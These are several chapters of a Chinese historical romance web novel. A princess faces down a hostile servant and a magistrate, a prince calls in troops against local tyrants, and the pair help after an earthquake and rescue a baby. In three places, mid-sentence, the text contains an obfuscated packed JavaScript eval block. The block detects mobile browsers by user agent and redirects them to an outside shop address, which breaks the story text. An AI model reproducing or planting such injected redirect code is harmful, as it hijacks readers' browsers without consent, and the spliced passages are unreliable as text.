“仓促之间，也没别的地儿了，你俩就在这儿将就一晚吧。”婆子抱着胳膊站在门口，毫无帮忙收拾的意思，反而斜着眼，语带讥讽：“看两位也不像娇生惯养的，凑合着能遮风挡雨就不错了。明日见了大人，是去是留，自有分晓。再说了，”婆子冷哼一声，盯着郭娑那条伤臂：“大人见不见你们还两说呢！” 郭娑虽心中不悦，但顾及礼节，还是忍着腕痛，微微颔首：“有劳妈妈了。” 她话音未落，身旁一道身影已如疾风般掠过。 “啪！”一声脆响，在寂静的夜里格外清晰。那婆子“哎哟”一声痛叫，被打得踉跄两步，捂着脸颊跌坐在地，三角眼里满是不可置信的惊骇。 苏萦甩了甩手，居高临下地看着她，指着她鼻子叱骂：“瞎了眼的蠢货！我们是县令的贵客，底下人糊涂不晓事，安排错了人，明儿我告到县令那儿去，他免不得一顿好板子。你这狗仗人势的婆子，可惜跟错了人摇错了尾巴，跟着吃不了兜着走。你若不信，只管向那人告状去，看看他是先替你出头，还是先想法子把自己摘干净！” 月光与远处灯笼的微光映在苏萦脸上，明明是一张娇艳的少女面容，此刻却无端透出令人心悸的寒意：“没弄清我两个是什么身份，就敢欺辱起人来了。若搁平时，这手无需我自己伸的，十个八个巴掌都早到你脸上了。还不快滚？！” 婆子被她气势所慑，又听她说得条理分明，直指利害，哪里还敢分辨，连滚爬爬地逃走了，连掉落的头巾都顾不上捡。 苏萦这才慢慢转过身，却见郭娑竟下意识想朝那婆子逃跑的方向追去，似有去安抚或解释之意。她不由冷笑一声，语带讥诮：“去吧，去讨没趣，去做好人，把我这恶人择出去。你爱吃苦，这苦都留给你吃。吃吧，依你这般性子，以后有得是苦给你吃。” 郭娑被她的话钉在原地，脸上红白交错，最终讪讪地走了回来，低声道：“我……我只是……” “只是什么？只是正好右手伤了，左手又不方便，要不也早赏她一记耳刮子，是吗？”苏萦打断她，语带讥诮： “调理下人，不知道恩威并施，还想做皇后？” “宫里的奴才最是捧高踩低，该赏银子，还是赏嘴巴，见着这人第一面的时候就该想好了。依你这般行事，到时候还没见着皇上的影，就让那些奴才坯子，嚼的你骨头渣子都不剩。” 郭娑一惊，猛地抬头看向苏萦，瞳孔紧缩，嘴唇微微颤抖，眼神慌乱地在她脸上逡巡，仿佛想看出她究竟知道了多少，又是如何看穿了自己那深藏心底的渴望。 “你姑母不都说了吗？‘天—命—国—母’。我天呐，你们胆子可真大啊。” 郭娑呆在原地不知如何应对，苏萦却像是随口说了几句无关紧要的话，转眼就抛在脑后。她不屑地转回头，俯身捡起门口一个挂着蛛网的破草筐，语气恢复平淡：“还呆着，今晚还睡不睡了？你是爱吃苦的，手脚更该麻利点儿，多干点活儿啊。” 两人默默收拾出一小块能睡人的地方。苏萦把两手扑了扑，从怀里掏出一个小巧的胭脂盒，递给郭娑：“给，明早起来擦点胭脂。看你黑着个脸。” 郭娑心中怨气未消，很不甘心地还是接了过去，心事重重，欲言又止了许久，还是忍不住开口道：“方才那婆子……你不怕她怀恨在心，趁夜里害我们？我们马上就要见到梁县令了，到时候功亏一篑……” “不怕啊。”苏萦打断她，无辜地眨眨眼，耸了耸肩摊开手掌，又清晰地重复了一遍：“真不怕。” 见郭娑仍是疑虑，苏萦一边爬上擦干净的桌面，小心又缓慢地在那硬邦邦的木板上躺下，一边淡淡道：“咬人的狗，尾巴是夹起来的。不急着露出獠牙给你看。你害怕？那你今晚就别睡了，替我守着吧。” “你……你就那么笃定？”郭娑气急，呛声道：“你就是从小太过顺遂，没被人害过！” “怎么没有？”苏萦忽然抬头，清澈的目光直直望进郭娑眼底，语气云淡风轻：“你没害过我？” 郭娑如遭雷击，脸色瞬间煞白：“我……华容妹妹，你莫要血口喷人！” “你不认？”苏萦无所谓地撇撇嘴，收回视线：“不认算了。我也不是很在乎。你那些小打小闹的，也太儿戏了。” 她顿了顿，声音低了下去，带着一种与年龄不符的幽深：“宫里的人，瞧着一个个低眉顺目，个个都是吃人的恶鬼。我奶娘让他们害死了，在我六岁的时候。郭姐姐，你有奶娘吗？” 郭娑被她这一个听起来毫不相干的问题问得怔住，下意识摇头。 苏萦追问：“你不会是吃自己亲娘的奶长大的吧？从小一直跟在亲娘身边？” 郭娑抿唇不答。 苏萦冷哼一声，眼中闪过一丝复杂的情绪：“那我可要忮忌你了。” 她的语气恢复了之前的疏淡：“九年了，我如今十五岁了。我身边的人，从那以后，再也没少过一个，都被我护得好好的。” 她看向郭娑，眼神平静却极具力量：“杀人不见血的刀子，我和有还哥哥，挨的可比你多得多。” “所以我说她不敢，她就是不敢。” 仿佛为了印证她的话，没过多久，院外便传来急促而凌乱的脚步声。先前那个鼠须师爷几乎是弯着腰小跑进来，脸上堆满了谄媚与惶恐的笑，与之前的怠慢判若两人。 “二位贵人！二位贵人恕罪！小的有眼无珠，实在是冒犯了！梁大人回来了，听闻二位在此，特命小的来请，快随小的去花厅相见！” 苏萦一个鲤鱼打挺坐起身来，好整以暇地拍了拍裙角并不存在的灰尘，瞥了一眼这间刚刚费力打扫出来的杂物间，慢悠悠道：“哟，梁大人回来了？那这屋子岂不是白给你们收拾了？我们可不能白忙活呀。我郭姐姐手都伤了，还给你们干了半天活呢。” 她将食指点在唇边，眼珠灵巧地转了转，露出顽皮又狡黠的神色：“郭姐姐，你说，咱们要多少酬劳好呢？” 师爷冷汗涔涔，忙不迭道：“小的该死！贵人说多少就是多少，小的绝无二话！” 说着就要从怀里掏银票。 苏萦玩味地伸出两根手指。 师爷一僵，试探道：“二，二十两？好说，好说……” “错了。”苏萦慢悠悠地摇了摇头，无辜地一扁嘴。 “赏你，”她把两根手指晃了晃：“二十个耳光。” 她目光扫向师爷身后阴影处那个探头探脑，脸上还带着巴掌印的尖嘴婆子，嫣然一笑：“刚才那位妈妈呢？叫她过来，就让她来打。” 婆子战战兢兢地往后缩。苏萦迎着她走上前，对她柔声道：“方才你冒犯到我面门上来了，所以我才让你替你主子挨了一巴掌。现在，我让你打回来。打得痛，打得响，我有赏。” 婆子吓得魂飞魄散，连连摆手：“不敢，奴婢不敢！” “别怕。”苏萦的声音依旧温和，却带着不容置疑的力道：“你有家室吗？丈夫，儿子？好好打，打完了，我让我父亲给你儿子在京城谋个差事。今日事毕，你就跟我走。” 在清脆而规律的耳光声和师爷压抑的痛哼声中，苏萦瞥了一眼那逐渐卖力，眼神中已带上了一丝讨好与希望的婆子，对身旁神色复杂的郭娑轻声说道： “你看，管她好狗坏狗，现在，我是她的主人了，她只会朝我摇尾巴。” 花厅之内，烛火通明。 新任曹州县令梁大人年约四旬，面白微须，端坐主位。他先朝门外那颇具节奏的耳光声传来处瞥了一眼，才起身迎向款步入内的苏萦与郭娑，脸上带着一种意味深长的笑容：“郡主和侯爷的行事风格……不大相像啊。” “是啊，我爹和气。”苏萦径自在客位坐下，姿态舒展自然，闻言展颜一笑，毫无忸怩：“我不像他。我脾气坏，眼里不揉沙子。” 她轻轻摸了摸自己平坦的小腹，语气天真又理直气壮：“他那个大肚子，能容天下难容之事。我肚子小，受一点儿小气就把我气饱了，非要报复回来不可。不然夜里睡不着觉。” 寒暄既过，转入正题。苏萦将锦糖镇宋丘、宋昆等人强占孤寡田产、知情不报、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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梁县令起初还觉得苏萦有些危言耸听，但听到“政令难出县衙”这句直指新任官员最忌惮之处时，眉头不由得狠狠一跳。他干笑一声，试图缓和苏萦激动的情绪：“郡主言重了，些许地方蠹虫，勾结为祸或有之，但‘造反’二字，未免太过。他们无非是些欺软怕硬、贪图财货的……” “梁大人！”苏萦一声清叱打断他，脸上并无笑意，只有一片与她年龄不符的冷冽：“你真是我爹提携起来的？风格倒比我还不像我爹，你很保守嘛！新官上任，看来你是不准备放这三把火了？看来，你是预备着任由锦糖镇这潭污水继续浑下去，不打算还治下百姓一个朗朗乾坤了？” 这话已带上了明显的质疑与激将。梁县令面色一僵，见她神情严肃绝非玩笑，心知这位小郡主不好糊弄，只得整肃颜色，清了清嗓子：“郡主忧国忧民，梁某佩服。只是……不知郡主以为，当如何处置，方能彻底根治此患？” 苏萦目光灼灼，斩钉截铁道：“我要调武卫军！” 郭娑和梁县令同时震惊地看了苏萦一眼。武卫军是朝廷驻泊京东西路的一支后备禁军，驻地正巧在曹州境内。可是调兵收拾两个小小的地头蛇，杀鸡焉用宰牛刀—— 这边，苏萦倒不为两人的迟疑所动，语气坚定，将心中计划和盘托出：“请梁大人即刻行文，调一队兵马，随我前往锦糖镇。名为‘协查重案，弹压地方’，实则为梁大人您的新政立威。兵锋所至，首要擒拿宋丘、宋昆及其核心党羽，抄检其家，获取罪证；其次，驻军镇场，公开审理此案，让那些受其胁迫或蒙蔽的镇民看清形势，敢有异动者，当场以附逆论处！唯有如此雷霆手段，方能犁庭扫穴，一举捣毁这颗毒瘤，也让曹州境内其他心怀鬼胎之辈看看，新任梁县令，绝非可欺之主！” 梁县令听完，额角已见细微汗意。他面露难色，苦笑道：“郡主……郡主此法，固然痛快。然，国有国法，军有军规。宋丘宋昆之罪，即便坐实，亦属地方刑名案件，应由县衙差役捕拿、按律审断。武卫禁军，非有‘民变’、‘暴乱’、‘匪患’等紧急情状，或上官明令，不得擅动。锦糖镇之事，目前看来，尚未激化成‘暴乱’。无合适名目，无巡抚、兵备道乃至朝廷的明确调令，仅凭下官一纸文书和郡主一面之词……私调兵马，乃是僭越大忌！一旦有失，或被人参上一本‘擅启边衅’、‘惊扰地方’，莫说下官前程尽毁，便是郡主，侯爷，恐也难免受其牵连。” 他起身，对着苏萦郑重一揖，语气恳切却坚决：“非是下官推诿畏事，实是职责所在，程序攸关，不得不慎。郡主身份尊贵，又有侯爷手书，下官必当竭尽全力，速查此案，严惩首恶。但这调兵之事……请恕下官万难从命。” 他的话清晰明确：你们身份尊贵不假，但无朝廷正式职司，仅凭私人信函和口述案情，分量不足以撬动国家军队。 苏萦眉头紧锁，心知梁县令所言在官场常规下确有道理，但锦糖镇的复杂与危险又非寻常差役所能应付。正思索如何进一步施压或另辟蹊径—— “梁大人！” 厅外忽然传来一声沉稳而极具穿透力的断喝。 花厅门被推开，夜风卷入，一道挺拔如松的身影迈入，正是萧征。他肩头犹带夜露寒霜，眉宇间却是一片沉凝的皇家威仪，目光如电，直射梁县令。 他上前一步，自怀中取出一方印信，托于掌中。烛火下，那蟠龙钮与清晰的篆文闪烁着不容置疑的光芒。 “当今陛下第十七子，靖北军昭武校尉，永宁王萧征——” “——有无资格，调兵锦糖镇？” 45.“冷不冷？” “若由本王亲自坐镇，以‘清查地方积弊、整肃不法、安抚北漠来使’为名，提请巡抚衙门行文，协调武卫军一部随行护卫，协助查案——” 他一步步走近，声音不高，却仿佛带着千钧之力： “不知梁大人以为，此等名目，可否足够？” “又或者，”他目光微转，与苏萦晶亮的双眼对视，复又看向脸色骤变的梁县令，一字一句道：“梁大人是觉得，‘永宁王’的爵位，加上‘昭武校尉’的军职，仍不足以过问此事，还需逐级向上请示到朝廷六部，乃至惊动圣上吗？” 厅中空气瞬间凝固。梁县令看着眼前这位突然出现的天潢贵胄，想起苏萦方才所述，宋昆等人罪证中的“围攻皇家子弟”一条大罪，哪里还不明白？他的脸色白了又红，终于深深躬身下去，声音颤抖：“下官……下官不敢！王爷亲临，主持大局，自是名正言顺！下官……下官即刻准备呈文，上报巡抚衙门，并全力协调本县一应事宜，定当竭尽全力，配合王爷与郡主殿下，彻查锦糖镇，铲除奸恶，以正风气！” 萧征神色稍缓，但语气依旧冰冷：“既如此，便有劳梁县令速去准备吧。本王一行，在此耽搁得实在够久了。” “是，是！下官遵命！”梁县令如蒙大赦，连忙用袍袖胡乱抹去额上冷汗，连声应喏。他转身欲往堂后去草拟紧急公文，复又想起什么，忙朝外唤道：“来人！快带诸位贵客去安置！” 先前那鼠须师爷应声弓着腰进来，脸上红肿未消，此刻更是堆满了比哭还难看的谄媚笑容，目光躲闪，很怕往苏萦的方向看。 袁鸣宝冉等人好奇地盯着他看，袁鸣嘴快，忍不住低声嘀咕：“嗨哟，这脸是怎么了？该不会是让马蜂给蛰了——” 蜜合一瞥自家郡主那得意扬扬的神色，便心领神会，抿唇一笑。 萧征自然也看得明白，目光在那张肿脸上停留了一瞬，便抬手制止了正要引路的师爷，对梁县令道：“梁大人，此事紧迫，你且先去忙。”他目光扫过苏萦郭娑，又看向风尘仆仆的袁鸣与宝冉，语气稍缓：“我们一行人奔波辗转，历经险阻，终于得以在此团聚，心中尚有诸多话要说。不知可否暂借贵衙这清净之地，容我们稍叙片刻？” 梁县令连连点头：“自然，自然！王爷与郡主还请自便！下官这就去后堂草拟文书，绝不打扰！” 说罢，他又狠狠瞪了那捂着脸的师爷一眼，低喝道：“还杵着作什么？吩咐下去，没有召唤，任何人不得靠近花厅打扰贵客！” 师爷捂着火辣辣的脸颊，喏喏称是，忙不迭地退了下去。 花厅的门被轻轻掩上，隔绝了外界的纷扰。烛火跳动着，将不过一日未见，却好似久别重逢的几个身影，温柔地笼罩在一片宁静的光晕里。紧绷多日的神经，似乎在这一刻，才敢稍稍松懈下来。定睛看看彼此，离京时意气风发的一群少年人，如今个个风尘仆仆，破衣烂衫，吊着胳膊拄着杖，狼狈得简直让人发笑。 “有还哥哥！”苏萦眼圈一红，急不可耐地从座椅上弹起，直直扑进萧征怀中。 萧征的身体僵硬了一下，还是没忍住收紧手臂回抱住她。 失而复得，他简直想将她揉进自己身体里。 他在她耳边笑着小声问：“华容郡主好能耐啊，竟比我们先一步找到这儿来了？” “对啊，因为华容郡主好能耐。”苏萦重复了一遍他的话，紧搂着他的腰，满眼热泪。 “郡主，你怎么样？”宝冉冲向郭娑，担心又内疚地看向郭娑的伤臂：“我们去救你的时候——” “我没事，我没事。”郭娑宽慰地向宝冉摇了摇头：“是华容妹妹先一步设法救了我。没想到阴差阳错，反倒与你们错过了。” “此番是我们照顾不周，让郡主身陷险境。”萧征抬起头来，语气中满含真诚的歉意：“待日后回京，我一定亲自登门向三嫂道歉。” “我们”当然是指他和苏萦。 郭娑僵硬地朝他牵了牵嘴角，压下心头的酸涩。 众人叙旧已毕，苏萦还扭股糖似的黏在萧征身上。 “郡主，我们可都还看着呐！”袁鸣笑着从旁提醒。 “看着怎么了！”苏萦理直气壮，带着嗡嗡的鼻音，把面颊更深埋进萧征的胸膛。 “你的蜜合，我依你的吩咐，全须全尾地带回来了，你不看看？”萧征无奈地皱眉笑着提醒她。 “我看见了。”苏萦像餍足的小兽，转过头来朝着蜜合笑：“蜜合我待会儿再抱。” 她眼波流转，又瞥向郭娑身边的宝冉，带着点狡黠的顽皮：“宝冉排队，抱完蜜合才到你。” 宝冉故意做了个嫌弃的鬼脸，耸了耸肩。连日来的阴霾，似乎在这一刻被这简单的玩笑顷刻驱散。 三日后，武卫军开进锦糖镇。首恶宋昆、宋丘斩首，家产抄没，用于赔偿失踪孩童家属，修缮祠堂，开办义学，造福地方。协从者二十人流放；胁从者杖八十后释放，其余人等概不追究。 宋丘媳妇扶着精神状态好了不少的大嫂走进新修的祠堂，两个受尽苦楚的女人双手紧握，望着头顶崭新的牌匾，心中五味陈杂。 苏萦信守承诺，去当地的青楼赎出了那日藏在她被窝里的姑娘。 姑娘千恩万谢，却几次好像欲言又止，登上离程的马车时，终于用手指在自己的人中处一比划，红着眼圈笑着说：“苏大人——还是没有胡子更好看。” “多亏那胡子不是我自己长出来的。”苏萦做了个鬼脸，真诚地朝她一笑：“姐姐，多保重。” 菜市口嚓嚓两声利响，两颗脑袋落了地。 百姓都吓得往后退，苏萦去送行来的晚了，好奇又焦急地往前挤。 “郡主郡主，别看，吓人呐！”袁鸣忙用身子挡着她把她往后推。 “干什么！我敢看，我要看！”苏萦不耐烦地推开他，看到血泊中滚落的人头，先愣了愣，随后叹了口气：“呼！死不足惜。” “郡主胆子真大呀，敢看杀人！”袁鸣在背后呲牙咧嘴。 岂止是敢看，她自己也敢杀呢。 萧征心中苦笑一声，望向那小巧玲珑的背影，想起前世在玄武阁中，射向他的三枚袖箭。 “杀你弟弟，与你为敌，我没有一日后悔过！” 长公主斩钉截铁，满含着恨意的怒吼猝然炸响在他耳边。 “有还哥哥，在想什么？”苏萦转过脸来，倒很体贴似地扯了扯他的袖子，温声道：“害怕啦？” 害怕了。害怕历史重演，你我又要走到那一步。 苏萦，大朔的监国长公主苏萦。他的心又在懦弱地向后退。 若你我的感情，注定要害得彼此遍体鳞伤—— 我宁愿，你从未爱过我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901767|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他刷地转回头，逃也似地往前走。 “喂，你去哪儿啊？”苏萦对他情绪的转变浑然不觉，兀自跟在他身后絮絮地安排：“对了，可不能把正事忘了，我们走之前还得去砍甘蔗！袁侍卫，走——哎呀看你一瘸一拐的还拄个棍儿，你别去啦，我们去！郭姐姐，宝冉，咱们去荒地砍甘蔗啦！” 几人从甘蔗地满载而归，雄赳赳气昂昂，像打了一场胜仗，拔起敌人的军旗。袁鸣把其中两根削成趁手的长度，做成简易拐杖，拄着它们走得健步如飞，像天生会用两条胳膊走路的长臂猿一样灵巧。 即刻便可打道回府，紧要的两样药引到了手，至于那一杯童便，京城每日都有百十来个婴儿满月，且看谁恰巧能获得那为天子治病的殊荣便是。 六人雇定车马，即刻返程。本留在客栈的车马盘缠落入宋丘等人手里，早已不知所踪，回程虽有曹州县衙代为备办行李，与来时相比，依然寒碜的可怜。 一路向北，寒风愈加凛冽，冷风打着旋儿恶劣地闯进钉不牢的车窗，在女孩子们极力用大毛披风裹紧的脖颈处呵痒。 宝冉手上的冻疮又复发了。她拗不过倔强的苏萦，只好抱上车上唯一一个汤婆子，手上满满地涂着蜜合带的手膏。四个姑娘紧紧地抱在一起取暖，不分白天黑夜地睡了一觉又一觉，绒绒的毛领交叠着，像车厢里藏着一窝未离乳的兔子。 偶尔，也苦中作乐。睡着睡着，苏萦突然尖叫道：“谁咯吱我！”宝冉忍着笑小声道：“是蜜合。”苏萦毫不上当，闭着眼睛笑骂：“宝冉，你这小蹄子，等一会儿停车歇脚的时候，我寻把剪刀把你辫子铰了去！” 这样走了大概六七天光景，眼看还有百里就到京城了。 这日天空飘着鹅毛大雪，不刮风的下雪天，天气总较平日和暖些。苏萦是小孩子心性，非要拉着他们下车到路边的雪地里玩雪去。大家先还都不肯，拗不过苏萦的威逼利诱，最后只留一个这几日一直心事重重的萧征看车。姑娘们团雪球打雪仗，绕着圈的你追我赶，疯跑大笑，行动不便的袁鸣被姑娘们摁进雪地里“拍雪人”，白茫茫的雪地上印下一连排无助的瘸腿雪人像。 蜜合在一边静静地抟雪塑了一个雪罗汉，姑娘们疯累了来看了看，自发地去雪地里捡些枯枝石头，为它添上五官和手臂。 雪罗汉有了五官表情，看去莫名诙谐，好像正尴尬地苦笑着朝她们招手。 “好像袁侍卫。”苏萦大胆说出了大家心中所想。 姑娘们被戳破心思，轰然笑成一团。 “你们又笑话我！”袁鸣很受伤地拄着甘蔗杆愤然离去，中途还脱手了一个，雪积的很深，他撑着单杆跌跌撞撞，很像个站在竹排上奋力与风浪搏斗的船夫。 大家被他滑稽的背影又逗笑了一次，边笑着边争先恐后地上前为他捡拐杖。 苏萦拿棉袄下摆兜着一堆雪球走向仿佛与她们远远地隔着什么的萧征身边。 “喂，萧有还。”她掂起雪球，轻轻扔向他，说一句扔一个。 “无趣的萧有还。” “不陪我们玩的萧有还。” 萧征任由雪球打在他身上，本就松散的雪，很轻易就粉碎，一朵一朵白色的花接连盛开在他的斗篷上。 良久，久到苏萦的雪球都扔完了，很扫兴地想离开，他才终于转过脸来向着她： “冷不冷？” 46.拜别 “嗯？”苏萦茫然地眨了眨眼。 “不冷。玩得我们都出汗了，像你这样干坐着才冷。” 他盯着她的脸，好像怕她撒谎似的，拉过她的小手轻握了一下。 倒真的是热乎乎的。 大量失血的人的手才是冷的。 一盆盆血水从产房里端出来，一盆接一盆，带走她的体温。 “…别到水边去。” “什么乱七八糟的？说胡话。”苏萦嫌弃地把手从他手心里抽出来，大喇喇地把手背覆在他额头上：“你是不是又发热了？” 他偏头躲了一下，她没让他得逞，扳着他肩膀实在地摸到了他的额头。 触手微凉，是单纯的说胡话。 她更慌了。 “萧征！”她紧张起来：“我听说一直盯着雪看会发疯的！”她捂住他的双眼：“快别看了！” 萧征轻轻扒下她的手，望向前方皑皑白雪下一望无际的官道：“有辆车朝这边过来了。” 不是一辆，是许多辆，行色匆匆，毫无秩序地挤作一团，形成一条仓皇凌乱的车队，正从他们本应前进的方向狼狈地折返回来。 “前面过不去了！快调头吧！”领头那辆车的车夫远远望见他们，便挥舞着手臂，声嘶力竭地大喊：“前面镇上出大事了！地龙翻身，山崩地裂，路全毁了！” ……地龙翻身？ 萧征周身一震，从头到脚打了个寒战。 天德五十年冬月初二，钦天监急报：“天相奇诡，荧惑犯斗，星宿异位，恐有大灾降生。” 当夜，京郊地动山摇，城郭屋舍倾塌无数，压毙者逾千。三日后，大朔皇帝萧弘德，崩逝。 记忆的碎片裹挟着前世的寒风与哀恸，凶猛地撞进脑海。那时他年轻气盛，听闻灾情，一心只想救民于水火，主动请缨前往赈灾，未曾守在父皇身边。待他接到噩耗，星夜兼程赶回京城，面对的只有满目缟素，苍凉刺骨的灵堂，和父皇那具再也不会对他微笑，对他斥责，对他寄予厚望的冰冷尸身。 那种刻骨的遗憾与锥心的悔痛，数十年如一日纠缠着，折磨着他，即使重活一世，也从未真正消散。 不……不会的！萧征用力闭了闭眼，强行压下翻涌的心绪。今生不同了！父皇中毒的根源已找到，虽暂无药引，但其他对症之药已用上，太医院精心调护，情况应当已经稳定。或许，今生他已改变了父皇的命运。 但万一呢？万一这场突如其来的灾劫，再次成为拖垮父皇病体的最后一根稻草？ 万千思绪电转而过。不过瞬息之间，萧征已强行镇定下来，眸中恢复清明与决断。他迅速跳下车，冲向拄着双拐才走到车后的袁鸣：“袁鸣，你即刻带上药引，护送姑娘们绕路而行，务必以最快速度安全返京，把药引交给温郎中！” “殿下，那您呢？”袁鸣急问。 “我要去前面看看。”萧征的目光坚定地投向灾患发生的方向：“身为万民供养之人，百姓罹难，我岂能袖手旁观？你们速速动身，尽快抵京！” “是！”袁鸣抱拳领命，即刻便要叱马启程。 “一起去。”苏萦站着没动。她惦记着父亲给的第三个锦囊任务尚未获得，若此番跟着回宫，再想出来恐怕不易。可她的眼扫过萧征紧绷的嘴唇，这男人又摆出一副不可撼动的，拒人于千里之外的表情。 “好歹让我们送你过去。你自己走要走到什么时候去？还没等走到那里，先冻僵了。”骄傲的姑娘难得想出折中的办法。 一道狰狞骇人的巨大裂口横亘在官道上，翻过这里，便是满目疮痍的灾区。目送着载有药引和女眷的马车辘辘远去，消失在路的尽头，萧征心下稍宽，轻叹一口气。 “好了，她们都走远了！”身后一个清脆的女声突然响起，吓得他双肩一抖。 萧征转过身，一眼看到自己此时最不想见到的人。 苏萦仿佛浑然不觉，还装模作样眯着眼极目远眺着她们的马车，极自然地随口问：“咱们从哪儿开始？先去本地县衙了解了解情况？” “苏萦！”萧征咬牙切齿。他现在若有千钧神力，一定一把抡起这姑娘扔到马车上去。 他眉头紧锁，压低了声音：“此处危险，灾后情势复杂，我无暇分心顾你！” “说得好像我会给你添麻烦似的！郭娑是谁救的？曹州县令是谁找的？灾区不一定缺你一个军人，兴许缺我一个郎中呢？”苏萦不耐烦地提裙绕过翘起的地面：“一会儿我忙起来，谁没空管谁还不一定呢。别磨磨蹭蹭了，快走吧！” 她这反客为主的小模样真是气得人牙痒痒。萧征气极反笑，轻哼了一声，无奈跟上她的步伐。 灾难发生在今日清晨，许多人还身在梦中，措手不及。满地的残垣断壁，幸存者彷徨地唤着亲人的名字。 两人进得镇上，附近的皇城守卫军已前来支援，合力搬开坍塌的屋顶，寻找着幸存者的踪迹。满载着救灾物资的车队辘辘驶来，苏萦一眼看到箱子上贴着醒目的“蘇”字标记，心中顿时多了几分底气：一会儿自会有人“管”她。 想到此处，她虽脚步紧跟萧征，目光却敏捷地在人群中逡巡起熟悉的面孔。 萧征依循前世积累的经验，迅速投入到紧张的救灾指挥中。他找到当地幸存的里正和驻军头领，指导他们如何快速有效地疏通主要道路，如何利用现有材料搭建能抵御风寒的临时窝棚安置灾民，如何组织人手挖掘被埋者，反复强调：“大灾之后，必防大疫！立刻组织人手，搜集柴火，架起大锅，熬煮避疫汤药，凡幸存者，救灾者，皆需饮用！务必注意饮水洁净，掩埋人畜遗体，防止冻馁之下疫病横行！” 越近京城，萧征的那枚皇子印信就更好用。毕竟，谁敢在皇城根底下冒领皇子之名呢？一旦被人揭发，九族的脑袋可要像下饺子一样掉。 无需他们多费口舌，当地残存的官吏与前来增援的兵丁很快被组织起来，救援和灾后事宜开始缓慢但有条不紊地推进。 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921058|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 征身先士卒，苏萦也不肯闲着。两人跟着一队官兵，牵着嗅觉灵敏的军犬，深一脚浅一脚地在残垣断壁间搜寻可能存在的生命迹象。 忽然，一条军犬在一处彻底垮塌的屋舍废墟前停下，对着瓦砾堆狂吠不止，前爪不住刨地。众人围拢过去，只见断裂的房梁和厚重的土墙之下，隐约露出一角衣物。兵士们小心搬开一些碎砖，看到下面压着两个人，一男一女，相拥在一起，身上覆盖着厚厚的灰土，早已僵硬不动，宛若两尊刚刚烧制出来便遭劫难的泥塑。 “没气了。”一个经验丰富的老兵探了探，摇摇头，“你看，流了这么多血，男的脑袋都开花了……唉，走吧，待会儿再把尸体拉出来，先去救活的人。”众人面有不忍，但救援资源有限，众人便都纷纷离去，前往下一处地点。那军犬却仍对着那对夫妻的方向呜咽低吠，不肯离去。 “等等。”萧征和苏萦几乎同时察觉出异样。 苏萦指着瓦砾堆，呢喃声发着抖：“那面墙砸下来，怕是有千斤重……可她的背弓起那么高。” 萧征心头一震，瞬间猜到了苏萦的意思。他立刻上前扒开瓦砾，向着那对血肉模糊的男女跋涉。 他怕二次塌陷，勒令苏萦站在安全处等着他，苏萦只好揪着一颗心，眼巴巴地紧盯着他的背影。 萧征屏住呼吸，避开可能松动的碎木断砖，艰难地靠近那对夫妻。男人额头确有重伤，鲜血早已凝固。女子被他护在身下，却也无济于事。他俯下身，仔细观察这女子古怪的姿势，然后，深吸了几口气，终于下定决心，缓缓地掰开她早已僵硬的手臂。 手臂的缝隙间，露出了一角粗布。 萧征咬着牙，动作更加小心，仿佛怕惊扰了这场用生命完成的守护。终于，在那母亲以血肉之躯撑起的狭小空间里，他看到了一个被粗布襁褓包裹得严严实实的小小身躯。 萧征稳了稳有些发颤的手，极其轻柔地将那襁褓从母亲双臂与身躯构成的最后庇护所中，小心翼翼地托了出来。 襁褓入手，竟还有一丝微弱的暖意。他迅速倒退到相对安全的地带，在苏萦震惊的目光注视下，轻轻掀开覆在婴儿脸上的布角。 一张憋得有些发红，却安然沉睡的小脸露了出来。小小的胸膛随着呼吸微微起伏，在这片死寂的废墟之上，微弱却顽强地证明着生命的奇迹。 寒风卷过废墟，扬起细雪。那对夫妻依旧保持着相拥守护的姿势，仿佛两座无声的丰碑。而他们用生命换来的珍宝，此刻正静静沉睡在萧征的臂弯里，对刚刚降临的灾难和失去的一切，尚一无所知。 苏萦捂着嘴，哽咽到站立不稳，缓缓蹲下，恸哭出声。萧征抱着孩子，把头高高地扬起，泪水还是从眼角滚落。前世今生，他经历过几十场战役，见多了血肉模糊的尸体，可这对夫妻的尸身，将永久地刻在他心中。 他与苏萦相视一眼，苏萦心领神会，红着眼接过襁褓。萧征撩袍跪地，替这襁褓中的稚儿，深深叩首，拜别深爱他的父母。 47.“若不做郡主，你想做什么人？” 那对夫妻的尸身自废墟中被掘出，身形佝偻如两张拉满的弓。盖在白布下，搁在门板上被悄然抬走。 “要把他们葬到哪儿去？”苏萦抱着孩子，追着殓尸人跑了几步，被萧征轻轻拉住了。她眼眶泛红，转过脸来：“等将来这孩子大了，要来拜祭他的父母…总该有人告诉他，他父母的坟冢所在吧？” “待搜救完毕，会将他们统一安葬。”萧征轻叹一口气。 “统一？和他们的邻里街坊全埋在一起？”苏萦嫌弃地皱起小脸，很不赞成似的：“要是里面有他们讨厌的人呢？活着的时候低头不见抬头见已经够烦了，死了还倒住在一起？” 萧征哭笑不得地望着她，无奈于她脑中这许多天马行空的念头。 